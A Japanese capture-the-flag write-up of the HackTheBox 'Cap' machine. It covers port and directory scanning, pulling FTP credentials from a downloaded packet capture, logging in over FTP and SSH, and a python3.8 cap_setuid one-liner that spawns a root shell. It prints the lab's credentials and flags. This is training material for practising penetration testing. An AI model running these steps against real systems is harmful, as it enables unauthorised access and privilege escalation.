概要
HackTheBox「Cap」のWriteupです。
User Flag
Nmap
でポートスキャンを行います。
$ nmap -Pn -T4 -sC -sV -A -p- 10.10.10.245 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
|_http-title: Security Dashboard
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Sat, 17 Aug 2024 16:16:33 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Sat, 17 Aug 2024 16:16:25 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
| <link rel="stylesheet" href="/static/css/bootstrap.min.css">
| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">
| <link rel="stylesheet" href="/static/css/metisMenu.css">
| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">
| <!-- amchar
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Sat, 17 Aug 2024 16:16:26 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 196
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''
| </body>
|_ </html>
|_http-server-header: gunicorn
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 8.2p1 |
80 | http | gunicorn |
Webサイトにアクセスするとダッシュボードページが表示されました。
ディレクトリ列挙を行います。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.10.245/FUZZ -recursion -recursion-depth 1 -ic -c -fc 500,403
[Status: 200, Size: 19386, Words: 8716, Lines: 389, Duration: 342ms]
ip [Status: 200, Size: 17464, Words: 7275, Lines: 355, Duration: 322ms]
netstat [Status: 200, Size: 33465, Words: 16103, Lines: 495, Duration: 323ms]
Dashboard
->Security Snapshot(5 Second PCAP + Analysis)
をクリックすると/capture
にアクセスし、/data/42
へリダイレクトしました。
再度同じ手順でアクセスすると/data/23
へアクセスできました。
/data
配下をディレクトリスキャンします。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.10.245/data/FUZZ -recursion -recursion-depth 1 -ic -c -fc 500,403,302
1 [Status: 200, Size: 17144, Words: 7066, Lines: 371, Duration: 348ms]
2 [Status: 200, Size: 17153, Words: 7066, Lines: 371, Duration: 348ms]
3 [Status: 200, Size: 17153, Words: 7066, Lines: 371, Duration: 358ms]
4 [Status: 200, Size: 17153, Words: 7066, Lines: 371, Duration: 306ms]
00 [Status: 200, Size: 17147, Words: 7066, Lines: 371, Duration: 271ms]
(省略)
様々な数字のパスを得られました。
/data/0
にアクセスし、PCAPファイルをダウンロードします。
WireShark
でダウンロードしたPCAPファイルを開くとFTPのユーザー認証パケットを発見でき、FTPのユーザー名、パスワードを得られました。
Username: nathan
,Password: Buck3tH4TF0RM3!
FTPにログインします。
$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
カレントディレクトリを確認するとuser.txt
を発見したのでダウンロードします。
ftp> ls
229 Entering Extended Passive Mode (|||11331|)
150 Here comes the directory listing.
drwxr-xr-x 3 1001 1001 4096 Aug 16 19:38 snap
-r-------- 1 1001 1001 33 Aug 16 19:26 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||15850|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |***********************************************************************| 33 870.98 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.11 KiB/s)
ダウンロードしたuser.txt
からフラグを入手できます。
$ cat user.txt
0f26415cfb9397915f69857bdbdc975f
Root Flag
Username: nathan
,Password: Buck3tH4TF0RM3!
の認証情報を利用してSSH接続をします。
$ ssh nathan@10.10.10.245
nathan@cap:~$
linpeas
を実行します。
$ ./linpeas
/usr/bin/python3.8
でcapabilities
の設定を発見しました。
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
GTFOBinsで脆弱性情報を検索するとヒットしました。
サイトを参考にコマンドを実行し、root権限に昇格できました。
nathan@cap:/tmp$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
/root/root.txt
からルートフラグを入手できます。
# cat /root/root.txt
2833ddb81c19003db6124757574df82c